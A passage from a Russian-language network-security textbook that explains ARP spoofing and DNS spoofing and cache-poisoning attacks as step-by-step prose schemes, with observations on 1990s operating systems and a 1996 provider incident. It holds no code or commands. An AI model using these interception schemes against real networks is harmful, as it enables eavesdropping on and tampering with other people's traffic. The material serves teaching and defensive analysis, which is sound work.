анализ сетевого трафика в сети Internet успешно пpименялся кракерами в
последние годы, и, согласно матеpиалам специального комитета пpи конгpессе
США, с его помощью в 1993-1994 годах было пеpе-хвачено около миллиона
паpолей для доступа в различные информационные системы.
Рис. 4.1. Анализ сетевого трафика.
4.2. Ложный ARP-сервер в сети Internet
Как уже неоднократно подчеркивалось, в вычислительных сетях связь между
двумя удаленными хостами осуществляется путем передачи по сети сообщений,
которые заключены в пакеты обмена. В общем случае передаваемый по сети
пакет независимо от используемого протокола и типа сети (Token Ring,
Ethernet, X.25 и др.)
состоит из заголовка пакета и поля данных. В заголовок пакета обычно
заносится служебная информация, определяемая используемым протоколом
обмена и необходимая для адресации пакета, его идентификации,
преобразования и т. д.
В поле данных помещаются либо непосредственно данные, либо другой пакет
более высокого уровня OSI. Так, например, пакет транспортного уровня может
быть вложен в пакет сетевого уровня, который, в свою очередь, вложен в
пакет канального уровня. Спрое-цировав это утверждение на сетевую ОС,
использующую протоколы TCP/IP, можно утверждать, что пакет TCP
(транспортный уровень)
вложен в пакет IP (сетевой уровень), который, в свою очередь, вложен в
пакет Ethernet (канальный уровень).
Следующая схема наглядно иллюстрирует как выглядит, например, TCP-пакет
в сети Internet:
Ethernet-заголовок
IP-заголовок
TCP-заголовок
Данные
Рис.4.2. Структура TCP-пакета
Рассмотрим схему адресации пакетов в сети Internet и возникающие при
этом проблемы безопасности.
Как известно, базовым сетевым протоколом обмена в сети Internet
является протокол IP (Internet Protocol).
Протокол IP - это межсетевой протокол, позволяющий передавать IP-пакеты
в любую точку глобальной сети. Для адресации на сетевом уровне (IP-уровне)
в сети Internet каждый хост имеет уникальный 32-разрядный IP-адрес. Для
передачи IP-пакета на хост необходимо указать в IP-заголовке пакета в поле
Destination Address IP-адрес данного хоста. Однако, как видно из рис. 4.2,
IP-пакет находится внутри аппаратного пакета (в случае среды передачи
Ethernet IP пакет находится внутри Ethernet-пакета), поэтому каждый пакет
в сетях любого типа и с любыми протоколами обмена в конечном счете
адресуется на аппаратный адрес сетевого адаптера, непосредственно
осуществляющего прием и передачу пакетов в сеть (в дальнейшем мы будем
рассматривать только Ethernet-сети).
Из всего вышесказанного видно, что для адресации IP-пакетов в сети
Internet кроме IP-адреса хоста необходим еще либо Ethernet-адрес его
сетевого адаптера (в случае адресации внутри одной подсети), либо
Ethernet-адрес маршрутизатора (в случае межсетевой адресации).
Первоначально хост может не иметь информации о Ethernet-адресах других
хостов, находящихся с ним в одном сегменте, в том числе и о
Ethernet-адресе маршрутизатора. Следовательно, перед хостом встает
стандартная проблема, решаемая с помощью алгоритма удаленного поиска.
В сети Internet для решения этой проблемы используется протокол ARP
(Address Resolution Protocol).
Протокол ARP позволяет получить взаимно однозначное соответствие IP- и
Ethernet-адресов для хостов, находящихся внутри одного сегмента. Это
достигается следующим образом: при первом обращении к сетевым ресурсам
хост отправляет широковещательный ARP-запрос на Ethernet-адрес
FFFFFFFFFFFFh, в котором указывает IP-адрес маршрутизатора и просит
сообщить его Ethernet-адрес (IP-адрес маршрутизатора является обязательным
параметром, который всегда устанавливается вручную при настройке любой
сетевой ОС в сети Internet). Этот широковещательный запрос получат все
станции в данном сегменте сети, в том числе и маршрутизатор. Получив
данный запрос, маршрутизатор внесет запись о запросившем хосте в свою
ARP-таблицу, а затем отправит на запросивший хост ARP-ответ, в котором
сообщит свой Ethernet-адрес.
Полученный в ARP-ответе Ethernet-адрес будет занесен в ARP-таблицу,
находящуюся в памяти операционной системы на запросившем хосте и
содержащую записи соответствия IP- и Ethernet-адресов для хостов внутри
одного сегмента. Отметим, что в случае адресации к хосту, расположенному в
той же подсети, также используется ARP-протокол и рассмотренная выше схема
полностью повторяется.
Из п. 3.2.3.2 следует, что в случае использования в распределенной ВС
алгоритмов удаленного поиска существует возможность осуществления в такой
сети типовой удаленной атаки Ложный объект РВС . Из анализа безопасности
протокола ARP становится ясно, что, перехватив на атакующем хосте внутри
данного сегмента сети широковещательный ARP-запрос, можно послать ложный
ARP-ответ, в котором объявить себя искомым хостом (например,
маршрутизатором), и в дальнейшем активно контролировать и воздействовать
на сетевой трафик обманутого хоста по схеме Ложный объект РВС (п. 3.2.3.3).
Рассмотрим обобщенную функциональную схему ложного ARP-сервера (рис.
4.3):
ожидание ARP-запроса; при получении ARP-запроса передача по сети на
запросивший хост ложного ARP-ответа, в котором указывается адрес сетевого
адаптера атакующей станции (ложного ARP-сервера) или тот Ethernet-адрес,
на котором будет принимать пакеты ложный ARP-сервер (совершенно
необязательно указывать в ложном ARP-ответе свой настоящий Ethernet-адрес,
так как при работе непосредственно с сетевым адаптером его можно
запрограммировать на прием пакетов на любой Ethernet-адрес); прием,
анализ, воздействие и передача пакетов обмена между взаимодействующими
хостами (воздействие на перехваченную информацию см. п.
3.2.2.3).
Рис. 4.3. Ложный ARP-сервер.
Рис. 4.3.1. Фаза ожидания ARP-запроса.
Рис. 4.3.2. Фаза атаки.
Рис. 4.3.3. Фаза приема, анализа, воздействия и передачи перехваченной
информации на ложном ARP-сервере.
Данная схема атаки требует некоторого уточнения. На практике авторы
столкнулись с тем, что зачастую даже очень квалифицированные сетевые
администраторы и программисты не знают либо не понимают тонкостей работы
протокола ARP.
Это, наверное, связано с тем, что при обычной настройке сетевой ОС,
поддерживающей протоколы TCP/IP, не требуется настройка модуля ARP (нам не
встречалось ни одной сетевой ОС, где обязательно требовалось бы создание
вручную ARP-таблицы). Поэтому протокол ARP остается как бы прозрачным для
администраторов. Далее, необходимо обратить внимание на тот факт, что у
маршрутизатора тоже имеется ARP-таблица, в которой содержится информация
об IP- и соответствующих им Ethernet-адресах всех хостов из сегмента сети,
подключенного к маршрутизатору. Информация в эту ARP-таблицу на
маршрутизаторе также обычно заносится не вручную, а при помощи протокола
ARP.
Именно поэтому так легко в одном сегменте IP-сети присвоить чужой
IP-адрес: выдать команду сетевой ОС на установку нового IP-адреса, потом
обратиться в сеть - сразу же будет послан широковещательный ARP-запрос, и
маршрутизатор, получив этот запрос, автоматически обновит запись в своей
ARP-таблице (поставит в соответствии с чужим IP-адресом Ehternet-адрес
вашей сетевой карты), в результате чего обладатель данного IP-адреса
потеряет связь с внешним миром (все пакеты, адресуемые на его бывший
IP-адрес и приходящие на маршрутизатор, будут направляться маршрутизатором
на Ethernet-адрес атакующего). Правда, некоторые ОС анализируют все
передаваемые по сети широковещательные ARP-запросы. Например, ОС Windows
'95 или SunOS 5.3 при получении ARP-запроса с указанным в нем IP-адресом,
совпадающим с IP-адресом данной системы, выдают предупреждающее сообщение
о том, что хост с таким-то Ethernet-адресом пытается присвоить себе
(естественно, успешно) данный IP-адрес.
Теперь вернемся непосредственно к описанной ранее схеме атаки ложный
ARP-сервер . Из анализа механизмов адресации, описанных выше, становится
ясно, что, так как поисковый ARP-запрос кроме атакующего получит и
маршрутизатор, то в его таблице окажется соответствующая запись об IP- и
Ethernet-адресе атакуемого хоста. Следовательно, когда на маршрутизатор
придет пакет, направленный на IP-адрес атакуемого хоста, то он будет
передан не на ложный ARP-сервер, а непосредственно на хост. При этом схема
передачи пакетов в этом случае будет следующая:
атакованный хост передает пакеты на ложный ARP-сервер;
ложный ARP-сервер передает принятый от атакованного хоста пакет на
маршрутизатор;
маршрутизатор, в случае получения ответа на переданный запрос, передает
его непосредственно на атакованный хост, минуя ложный ARP-сервер.
Рис. 4.3.4. Петлевая схема перехвата информации ложным АRP-сервером.
В этом случае последняя фаза, связанная с приемом, анализом,
воздействием и передачей пакетов обмена между атакованным хостом и,
например, маршрутизатором (или любым другим хостом в том же сегменте)
будет проходить уже не в режиме полного перехвата пакетов ложным сервером
(мостовая схема), а режиме полупере-хвата (петлевая схема).
Действительно, в режиме полного перехвата маршрут всех пакетов,
отправляемых как в одну, так и в другую стороны, обязательно проходит
через ложный сервер-мост; а в режиме полуперехвата маршрут пакетов
образует петлю, которую можно видеть на рисунке 4.3.4.
Необходимо обратить внимание на эту петлевую схему перехвата информации
ложным сервером, так как в дальнейшем будут рассмотрены еще два варианта
атаки на базе протоколов DNS и ICMP, результат которых - перехват
информации по схеме Ложный объект РВС , и там также может возникнуть
петлевой маршрут.
Тем не менее довольно несложно придумать несколько способов,
позволяющих функционировать ложному ARP-серверу по мостовой схеме
перехвата (полный перехват). Например, можно, получив ARP-запрос, самому
послать такой же запрос и присвоить себе данный IP-адрес (правда, в этом
случае ложному ARP-серверу не удастся остаться незамеченным, так некоторые
сетевые ОС (например Windows '95 и SunOS 5.3), как отмечалось ранее,
перехватив этот запрос, выдадут предупреждение об использовании их
IP-адреса). Другой, значительно более предпочтительный способ: послать
ARP-запрос, указав в качестве своего IP-адреса любой свободный в данном
сегменте IP-адрес, и в дальнейшем вести работу с данного IP-адреса как с
маршрутизатором, так и с обманутыми хостами (кстати, это типичная
proxy-схема).
В заключении рассказа об уязвимостях протокола ARP необходимо показать,
как различные сетевые ОС используют этот протокол для изменения информации
в своих ARP-таблицах. При исследовании различных сетевых ОС выяснилось,
что в ОС Linux 1.2.8 при адресации к хосту, находящемуся в одной подсети с
данным хостом, при отсутствии в ARP-таблице соответствующей записи о
Ethernet-адресе передается ARP-запрос и при последующих обращениях к
данному хосту посылки ARP-запроса не происходит. В SunOS 5.3, при каждом
новом обращении к хосту происходит передача ARP-запроса, и, следовательно,
ARP-таблица динамически обновляется. ОС Windows '95 при обращении к
хостам, с точки зрения использования протокола ARP, ведет себя так же, как
и ОС Linux, за исключением того, что эта операционная система периодически
(каждую минуту) посылает ARP-запрос о Ethernet-адресе маршрутизатора
(видимо, программисты фирмы Microsoft считали, что маршрутизатор может
постоянно менять свой Ethernet-адрес?!), и в результате в течение
нескольких минут вся локальная сеть с Windows '95 с легкостью поражается с
помощью ложного ARP-сервера. Что касается Windows NT 4.0, то эксперименты
показали, что там также используется динамически изменяемая ARP-таблица и
ARP-запросы о Ethernet-адресе маршрутизатора передаются с периодичностью
около 10 минут.
Особый интерес вызвал следующий вопрос: а удастся ли осуществить данную
удаленную атаку на UNIX-совместимую ОС, защищенную по классу B1 (мандатная
и дискретная сетевая политики разграничения доступа плюс специальная схема
функционирования SUID/SGID процессов), установленную на двухпроцессорной
миниЭВМ. Эта система является одним из лучших в мире полнофункциональных
файрволов. Так вот, в процессе анализа защищенности этого файрвола
относительно удаленных воздействий, осуществляемых по каналам связи, при
его тестировании выяснилось, что в случае базовой (после всех стандартных
настроек) конфигурации ОС эта защищенная UNIX-система также поражается
ложным ARP-сервером.
В заключение отметим, что, во-первых, причина успеха данной удаленной
атаки кроется, не столько в Internet, сколько в широковещательной среде
Ethernet и, во-вторых, очевидно, что эта удаленная атака является
внутрисегментной и поэтому представляет для вас угрозу только в случае
нахождения атакующего внутри вашего сегмента сети. Однако, как известно из
статистики нарушений информационной безопасности вычислительных сетей,
большинство состоявшихся взломов сетей производилось изнутри собственными
сотрудникам. Причины этого понятны.
Как подчеркивалось ранее, осуществить внутрисегментную удаленную атаку
значительно легче, чем межсегментную. Кроме того, практически все
организации имеют локальные сети (в том числе и IP-сети), хотя далеко не у
всех локальные сети подключены к глобальной сети Internet. Это объясняется
как соображениями безопасности, так и необходимости такого подключения для
организации. И, наконец, сотрудникам самой организации, знающим тонкости
своей внутренней вычислительной сети, гораздо легче осуществить взлом, чем
кому бы то ни было. Поэтому администраторам безопасности нельзя
недооценивать данную удаленную атаку, даже если ее источник находится
внутри их локальной IP-сети.
4.3. Ложный DNS-сервер в сети Internet
Как известно, для обращения к хостам в сети Internet используются
32-разрядные IP-адреса, уникально идентифицирующие каждый сетевой
компьютер в этой глобальной сети. Однако, для пользователей применение
IP-адресов при обращении к хостам является не слишком удобным и далеко не
самым наглядным.
В самом начале зарождения Internet для удобства пользователей было
принято решение присвоить всем компьютерам в сети имена. Использование
имен позволяет пользователю лучше ориентироваться в киберпространстве сети
Internet - куда проще, понятней и наглядней для пользователя запомнить,
например, имя www.ferrari.it, чем четырехразрядную цепочку IP-адреса.
Использование в Internet мнемонически понятных для пользователей имен
породило проблему преобразования имен в IP-адреса. Такое преобразование
необходимо, так как на сетевом уровне адресация пакетов идет не по именам,
а по IP-адресам, следовательно, для непосредственной адресации сообщений в
Internet имена не годятся. На этапе раннего развития Internet, когда в
сеть было объединено небольшое количество компьютеров, NIC (Network
Information Center) для решения проблемы преобразования имен в адреса
создал специальный файл (hosts file), в который вносились имена и
соответствующие им IP-адреса всех хостов в сети.
Данный файл регулярно обновлялся и распространялся по всей сети. Но, по
мере развития Internet, число объединенных в сеть хостов увеличивалось, и
данная схема становилась все менее и менее работоспособной, поэтому была
создана новая система преобразования имен, позволяющая пользователю в
случае отсутствия у него информации о соответствии имен и IP-адресов
получить необходимые сведения от ближайшего информационно-поискового
сервера (DNS-сервера).
Эта система получила название доменной системы имен - DNS (Domain Name
System).
Для реализации системы DNS был создан специальный сетевой протокол DNS,
для обеспечения эффективной работы которого в сети создаются специальные
выделенные информационно-поисковые серверы - DNS-серверы. Поясним основную
задачу, решаемую службой DNS. В современной сети Internet хост при
обращении к удаленному серверу обычно имеет информацию только о его имени
и не знает его IP-адреса, который и необходим для непосредственной
адресации. Следовательно, перед хостом возникает стандартная проблема
удаленного поиска: по имени удаленного хоста найти его IP-адрес. Решением
этой проблемы и занимается служба DNS на базе протокола DNS.
Рассмотрим DNS-алгоритм удаленного поиска IP-адреса по имени в сети
Internet:
хост посылает на IP-адрес ближайшего DNS-сервера (он устанавливается
при настройке сетевой ОС)
DNS-запрос, в котором указывает имя сервера, IP-адрес которого
необходимо найти;
DNS-сервер, получив запрос, просматривает свою базу имен на наличие в
ней указанного в запросе имени. В случае, если имя найдено, а,
следовательно, найден и соответствующий ему IP-адрес, то на запросивший
хост DNS-сервер отправляет DNS-ответ, в котором указывает искомый
IP-адрес. В случае, если указанное в запросе имя DNS-сервер не обнаружил в
своей базе имен, то DNS-запрос отсылается DNS-сервером на один из корневых
DNS-серверов, адреса которых содержатся в файле настроек DNS-сервера
root.cache, и описанная в этом пункте процедура повторяется, пока имя не
будет найдено (или не найдено).
Анализируя с точки зрения безопасности уязвимость этой схемы удаленного
поиска с помощью протокола DNS, а также исходя из п. 3.2.3.2, можно
сделать вывод о возможности осуществления в сети, использующей протокол
DNS, типовой удаленной атаки Ложный объект РВС .
Практические изыскания и критический анализ безопасности службы DNS
позволяют предложить три возможных варианта удаленной атаки на эту службу.
4.3.1. Внедрение в сеть Internet ложного DNS-сервера путем перехвата
DNS-запроса В данном случае это удаленная атака на базе стандартной
типовой УА, связанной с ожиданием поискового DNS-запроса. Перед тем, как
рассмотреть алгоритм атаки на службу DNS, необходимо обратить внимание на
следующие тонкости в работе этой службы.
Во-первых, по умолчанию служба DNS функционирует на базе протокола UDP
(хотя возможно и использование протокола TCP) что, естественно, делает ее
менее защищенной, так как протокол UDP в отличие от TCP вообще не
предусматривает средств идентификации сообщений. Для того, чтобы перейти
от UDP к TCP, администратору DNS-сервера придется очень серьезно изучить
документацию (в стандартной документации на домен named в ОС Linux нет
никакого упоминания о возможном выборе протокола (UDP или TCP), на котором
будет работать DNS-сервер). Кроме того, этот переход несколько замедлит
систему, так как при использовании TCP требуется создание виртуального
соединения, и, кроме того, конечная сетевая ОС вначале посылает DNS-запрос
с использованием протокола UDP. И только в том случае, если ей придет
специальный ответ от DNS-сервера, сетевая ОС пошлет DNS-запрос с
использованием TCP.
Во-вторых, следующая тонкость, на которую требуется обратить внимание,
состоит в том, что значение поля порт отправителя в UDP-пакете вначале
принимает значение ? 1023 и увеличивается с каждым переданным DNS-запросом.
В-третьих, значение идентификатора (ID)
DNS-запроса ведет себя следующим образом. В случае передачи DNS-запроса
с хоста это значение зависит от конкретного сетевого приложения,
вырабатывающего DNS-запрос. Эксперименты показали, что в случае передачи
запроса из оболочки командного интерпретатора (SHELL)
операционных систем Linux и Windows '95 (например, ftp nic.funet.fi)
это значение всегда равняется единице. В том случае, если DNS-запрос
передается из Netscape Navigator, то с каждым новым запросом сам броузер
увеличивает это значение на единицу.
В том случае, если запрос передается непосредственно DNS-сервером, то
сервер увеличивает это значение идентификатора на единицу с каждым вновь
передаваемым запросом.
Все эти тонкости имеют значение в случае атаки без перехвата
DNS-запроса (п. 4.3.2 и 4.3.3).
Для реализации атаки путем перехвата DNS-запроса атакующему необходимо
перехватить DNS-запрос, извлечь из него номер UDP-порта отправителя
запроса, двухбайтовое значение ID идентификатора DNS-запроса и искомое имя
и затем послать ложный DNS-ответ на извлеченный из DNS-запроса UDP-порт, в
котором указать в качестве искомого IP-адреса настоящий IP-адрес ложного
DNS-сервера. Это позволит в дальнейшем полностью перехватить трафик между
атакуемым хостом и сервером и активно воздействовать на него по схеме
Ложный объект РВС (п. 3.2.3.3).
Рассмотрим обобщенную схему работы ложного DNS-сервера (рис. 4.4):
ожидание DNS-запроса;
извлечение из полученного запроса необходимых сведений и передача по
сети на запросивший хост ложного DNS-ответа, от имени (с IP-адреса)
настоящего DNS-сервера, в котором указывается IP-адрес ложного
DNS-сервера;
в случае получения пакета от хоста, изменение в IP-заголовке пакета его
IP-адреса на IP-адрес ложного DNS-сервера и передача пакета на сервер (то
есть ложный DNS-сервер ведет работу с сервером от своего имени);
в случае получения пакета от сервера, изменение в IP-заголовке пакета
его IP-адреса на IP-адрес ложного DNS-сервера и передача пакета на хост
(для хоста ложный DNS-сервер и есть настоящий сервер).
Рис. 4.4. Функциональная схема ложного DNS-сервера.
Рис. 4.4.1. Фаза ожидания атакующим DNS-запроса (он находится на ХА1,
либо на ХА2).
Рис. 4.4.2. Фаза передачи атакующим ложного DNS-ответа.
Рис. 4.4.3. Фаза приема, анализа, воздействия и передачи перехваченной
информации на ложном сервере.
Необходимым условием осуществления данного варианта атаки является
перехват DNS-запроса. Это возможно только в том случае, если атакующий
находится либо на пути основного трафика, либо в сегменте настоящего
DNS-сервера. Выполнение одного из этих условий местонахождения атакующего
в сети делает подобную удаленную атаку трудно осуществимой на практике
(попасть в сегмент DNS-сервера и, тем более, в межсегментный канал связи
атакующему, скорее всего, не удастся).
Однако в случае выполнения этих условий возможно осуществить
межсегментную удаленную атаку на сеть Internet.
Отметим, что практическая реализация данной удаленной атаки выявила ряд
интересных особенностей в работе протокола FTP и в механизме идентификации
TCP-пакетов (подробнее см. п. 4.5). В случае, когда FTP-клиент на хосте
подключался к удаленному FTP-серверу через ложный DNS-сервер, оказывалось,
что каждый раз после выдачи пользователем прикладной команды FTP
(например, ls, get, put и т. д.) FTP-клиент вырабатывал команду PORT,
которая состояла в передаче на FTP-сервер в поле данных TCP-пакета номера
порта и IP-адреса клиентского хоста (особый смысл в этих действиях трудно
найти - зачем каждый раз передавать на FTP-сервер IP-адрес клиента)! Это
приводило к тому, что, если на ложном DNS-сервере не изменить передаваемый
IP-адрес в поле данных TCP-пакета и передать этот пакет на FTP-сервер по
обыкновенной схеме, то следующий пакет будет передан FTP-сервером на хост
FTP-клиента, минуя ложный DNS-сервер и, что самое интересное, этот пакет
будет воспринят как нормальный пакет (п. 4.5), и, в дальнейшем, ложный
DNS-сервер потеряет контроль над трафиком между FTP-сервером и
FTP-клиентом! Это связано с тем, что обычный FTP-сервер не предусматривает
никакой дополнительной идентификации FTP-клиента, а перекладывает все
проблемы идентификации пакетов и соединения на более низкий уровень -
уровень TCP (транспортный).
4.3.2. Внедрение в сеть Internet ложного сервера путем создания
направленного шторма ложных DNS-ответов на атакуемый хост Другой вариант
осуществления удаленной атаки, направленной на службу DNS, основан на
второй разновидности типовой УА Ложный объект РВС (при использовании
недостатков алгоритмов удаленного поиска - п. 3.2.3.2). В этом случае
атакующий осуществляет постоянную передачу на атакуемый хост заранее
подготовленного ложного DNS-ответа от имени настоящего DNS-сервера без
приема DNS-запроса!
Другими словами, атакующий создает в сети Internet направленный шторм
ложных DNS-ответов. Это возможно, так как обычно для передачи DNS-запроса
используется протокол UDP, в котором отсутствуют средства идентификации
пакетов. Единственными критериями, предъявляемыми сетевой ОС хоста к
полученному от DNS-сервера ответу, является, во-первых, совпадение
IP-адреса отправителя ответа с IP-адресом DNS-серве-ра; во-вторых, чтобы в
DNS-ответе было указано то же имя, что и в DNS-запросе, в-третьих,
DNS-ответ должен быть направлен на тот же UDP-порт, с которого был послан
DNS-запрос (в данном случае это первая проблема для атакующего), и,
в-четвертых, в DNS-ответе поле идентификатора запроса в заголовке DNS (ID)
должно содержать то же значение, что и в переданном DNS-запросе (а это
вторая проблема).
В данном случае, так как атакующий не имеет возможности перехватить
DNS-запрос, то основную проблему для него представляет номер UDP-порта, с
которого был послан запрос. Однако, как было отмечено ранее, номер порта
отправителя принимает ограниченный набор значений ("= 1023), поэтому
атакующему достаточно действовать простым перебором, направляя ложные
ответы на соответствующий перечень портов. На первый взгляд, второй
проблемой может быть двухбайтовый идентификатор DNS-запроса, но, как
подчеркивалось ранее, в данном случае он либо равен единице, либо в случае
DNS-запроса от Netscape Navigator (например) имеет значение близкое к нулю
(один запрос - ID увеличивается на 1).
Рис. 4.5. Внедрение в Internet ложного сервера путем создания
направленного "шторма" ложных DNS-ответов на атакуемый хост.
Рис. 4.5.1. Атакующий создает направленный "шторм"
ложных DNS-ответов на Хост 1.
Рис. 4.5.2. Хост 1 посылает DNS-запрос и немедленно получает ложный
DNS-ответ.
Рис. 4.5.3. Фаза приема, анализа, воздействия и передачи перехваченной
информации на ложном сервере.
Поэтому для осуществления данной удаленной атаки атакующему необходимо
выбрать интересующий его хост (например, top.secret.com), маршрут к
которому требуется изменить так, чтобы он проходил через ложный сервер -
хост атакующего. Это достигается постоянной передачей (направленным
штормом )
атакующим ложных DNS-ответов на атакуемый хост от имени настоящего
DNS-сервера на соответствующие UDP-порты. В этих ложных DNS-ответах
указывается в качестве IP-адреса хоста top.secret.com IP-адрес атакующего.
Далее атака развивается по следующей схеме. Как только цель атаки
(атакуемый хост)
обратится по имени к хосту top.secret.com, то от данного хоста в сеть
будет передан DNS-запрос, который атакующий никогда не получит, но этого
ему и не требуется, так как на хост сразу же поступит постоянно
передаваемый ложный DNS-ответ, что и будет воспринят ОС атакуемого хоста
как настоящий ответ от DNS-сервера. Все! Атака состоялась, и теперь
атакуемый хост будет передавать все пакеты, предназначенные для
top.secret.com, на IP-адрес хоста атакующего, который, в свою очередь,
будет переправлять их на top.secret.com, воздействуя на перехваченную
информацию по схеме Ложный объект РВС (п. 3.2.3.3).
Рассмотрим функциональную схему предложенной удаленной атаки на службу
DNS (рис. 4.5):
постоянная передача атакующим ложных DNS-ответов на атакуемый хост на
различные UDP-порты и, возможно, с различными ID, от имени (с IP-адреса)
настоящего DNS-сервера с указанием имени интересующего хоста и его ложного
IP-адреса, которым будет являться IP-адрес ложного сервера - хоста
атакующего;
в случае получения пакета от хоста, изменение в IP-заголовке пакета его
IP-адреса на IP-адрес атакующего и передача пакета на сервер (то есть
ложный сервер ведет работу с сервером от своего имени - со своего
IP-адреса);
в случае получения пакета от сервера, изменение в IP-заголовке пакета
его IP-адреса на IP-адрес ложного сервера и передача пакета на хост (для
хоста ложный сервер и есть настоящий сервер).
Таким образом, реализация данной удаленной атаки, использующей пробелы
в безопасности службы DNS, позволяет из любой точки сети Internet нарушить
маршрутизацию между двумя заданными объектами (хос-тами)! Данная удаленная
атака осуществляется межсегментно по отношению к цели атаки и угрожает
безопасности любого хоста Internet, использующего обычную службу DNS.
4.3.3. Внедрение в сеть Internet ложного сервера путем перехвата
DNS-запроса или создания направленного шторма ложных DNS-ответов на
атакуемый DNS-сервер Из рассмотренной в п. 4.3 схемы удаленного DNS-поиска
следует, что в том случае, если указанное в запросе имя DNS-сервер не
обнаружил в своей базе имен, то запрос отсылается сервером на один из
корневых DNS-серверов, адреса которых содержатся в файле настроек сервера
root.cache.
Итак, в случае, если DNS-сервер не имеет сведений о запрашиваемом
хосте, то он сам, пересылая запрос далее, является инициатором удаленного
DNS-поиска. Поэтому ничто не мешает атакующему, действуя описанными в
предыдущих пунктах методами (п. 4.3.1- 4.3.2), перенести свой удар
непосредственно на DNS-сервер. В качестве цели атаки теперь будет
выступать не хост, а DNS-сервер и ложные DNS-ответы будут направляться
атакующим от имени корневого DNS-сервера на атакуемый DNS-сервер.
При этом важно учитывать следующую особенность работы DNS-сервера. Для
ускорения работы каждый DNS-сервер кэширует в области памяти свою таблицу
соответствия имен и IP-адресов хостов. В том числе в кэш заносится
динамически изменяемая информация об именах и IP-адресах хостов, найденных
в процессе функционирования DNS-сервера, а именно, если DNS-сервер,
получив запрос, не находит у себя в кэш-таблице соответствующей записи, он
пересылает ответ на следующий сервер и, получив ответ, заносит найденные
сведения в кэш-таблицу в память. Таким образом, при получении следующего
запроса DNS-серверу уже не требуется вести удаленный поиск, так как
необходимые сведения уже находятся у него в кэш-таблице.
Из анализа только что подробно описанной схемы удаленного DNS-поиска
становится очевидно, что в том случае, если в ответ на запрос от
DNS-сервера атакующий направит ложный DNS-ответ (или в случае шторма
ложных ответов будет вести их постоянную передачу), то в кэш-таблице
сервера появится соответствующая запись с ложными сведениями и в
дальнейшем все хосты, обратившиеся к данному DNS-серверу, будут
дезинформированы, и при обращении к хосту, маршрут к которому атакующий
решил изменить, связь с ним будет осуществляться через хост атакующего по
схеме Ложный объект РВС ! И, что хуже всего, с течением времени эта ложная
информация, попавшая в кэш DNS-сервера, будет распространяться на соседние
DNS-серверы высших уровней, а, следовательно, все больше хостов в Internet
будут дезинформированы и атакованы!
Очевидно, что в том случае, если атакующий не может перехватить
DNS-запрос от DNS-сервера, то для реализации атаки ему необходим шторм
ложных DNS-ответов, направленный на DNS-сервер. При этом возникает
следующая проблема, отличная от проблемы подбора портов в случае атаки,
направленной на хост. Как уже отмечалось ранее, DNS-сервер, посылая запрос
на другой DNS-сервер, идентифицирует этот запрос двухбайтовым значением
(ID). Это значение увеличивается на единицу с каждым передаваемым
запросом. Узнать атакующему это текущее значение идентификатора
DNS-запроса не представляется возможным. Поэтому предложить что-либо,
кроме перебора 216 возможных значений ID, достаточно сложно. Зато исчезает
проблема перебора портов, так как все DNS-запросы передаются DNS-сервером
на 53 порт.
Следующая проблема, являющаяся условием осуществления этой удаленной
атаки на DNS-сервер при направленном шторме ложных DNS-ответов, состоит в
том, что атака будет иметь успех только в случае, если DNS-сервер пошлет
запрос на поиск имени, которое содержится в ложном DNS-ответе.
DNS-сервер посылает этот столь необходимый и желанный для атакующего
запрос в том и только том случае, когда на него приходит DNS-запрос от
какого-либо хоста на поиск данного имени и этого имени не оказывается в
кэш-таблице DNS-сервера. В принципе, этот запрос может возникнуть когда
угодно, и атакующему придется ждать результатов атаки неопределенное
время. Однако, ничто не мешает атакующему, не дожидаясь никого, самому
послать на атакуемый DNS-сервер подобный DNS-запрос и спровоцировать
DNS-сервер на поиск указанного в запросе имени! Тогда эта атака с большой
вероятностью будет иметь успех практически сразу же после начала ее
осуществления!
Для примера вспомним недавний скандал (28 октября 1996 года) с одним из
московских провайдеров Internet - компанией РОСНЕТ, когда пользователи
данного провайдера при обращении к обычному информационному WWW-серверу
попадали, как было сказано в телевизионном репортаже, WWW-сервер
сомнительного содержания (наверное, www.playboy.com).
В связи с абсолютным непониманием случившегося как журналистами (их
можно понять- они не специалисты в этом вопросе), так и теми, кто проводил
пресс-конференцию (специалистов к общению с прессой, наверное, просто не
допустили)
информационные сообщения о данном событии были настолько убоги, что
понять, что случилось, было толком невозможно. Тем не менее, этот инцидент
вполне укладывается в только что описанную схему удаленной атаки на
DNS-сервер. С одним исключением:
вместо адреса хоста атакующего в кэш-таблицу DNS-сервера был занесен
IP-адрес хоста www.playboy.com.
Однако, видимо, большинство российских кракеров еще не доросли до столь
утонченных методов сетевого взлома, как атака на DNS или любая другая
атака из данной главы. После того, как был написан предыдущий абзац, нам
довелось ознакомиться с интервью, которое якобы дал кракер, осуществивший
этот взлом. Из него следовало, что атака использовала одну из известных
дыр в WWW-сервере РОСНЕТа. Это и позволило атакующему подменить одну
ссылку на другую. Осуществление атак такого типа является по сути
тривиальным и не требует от взломщика практически никакой квалификации
(подчеркнем - именно осуществление; совершенно другое дело - нахождение
этой дыры ). Высокая квалификация необходима именно для поиска той самой
уязвимости, используя которую можно взломать систему. Но, по глубокому
убеждению авторов, обнаруживший уязвимость и осуществивший на ее базе
взлом, скорее всего будутразными лицами, так как именно высокая
квалификация специалиста, обнаружившего дыру , не позволит ему причинить
ущерб простым пользователям. (Р.Т.Моррис не был исключением. Просто его
червь из-за ошибки в коде вышел из-под контроля, и поэтому пользователям
сети был нанесен определенный ущерб.)
Рис. 4.6.1. Внедрение в Internet ложного сервера путем перехвата
DNS-запроса от DNS-сервера.
Рис. 4.6.1.1. Фаза ожидания атакующим DNS-запроса от DNS-сервера (для
ускорения атакующий генерирует необходимый DNS-запрос).
Рис. 4.6.1.2. Фаза передачи атакующим ложного DNS-ответа на DNS-сервер
1.
Рис. 4.6.2. Внедрение в Internet ложного сервера путем создания
направленного "шторма" ложных DNS-ответов на атакуемый DNS-сервер.
Рис. 4.6.2.1. Атакующий создает направленный "шторм" ложных DNS-ответов
от имени одного из корневых DNS-серверов и при этом провоцирует атакуемый
DNS-сервер, посылая DNS-запрос.
Рис. 4.6.2.2. DNS-сервер передает DNS-запрос на корневой DNS-сервер и
немедленно получает ложный DNS-ответ от атакующего.
В завершение хотелось бы снова вернуться к службе DNS и сказать, что,
как следует из предыдущих пунктов, использование в сети Internet службы
удаленного поиска DNS позволяет атакующему организовать в Internet
удаленную атаку на любой хост, пользующийся услугами данной службы, и
может пробить серьезную брешь в безопасности этой и так отнюдь не
безопасной глобальной сети.
Напомню, что, как указывал S. M. Bellovin в ставшей почти классической
работе [14]: A combined attack on the domain system and the routing
mechanisms can be catastrophic(Комбинация атаки на доменную систему и
механизмы маршрутизации может привести к катастрофе ).
4.4. Навязывание хосту ложного маршрута с использованием протокола ICMP
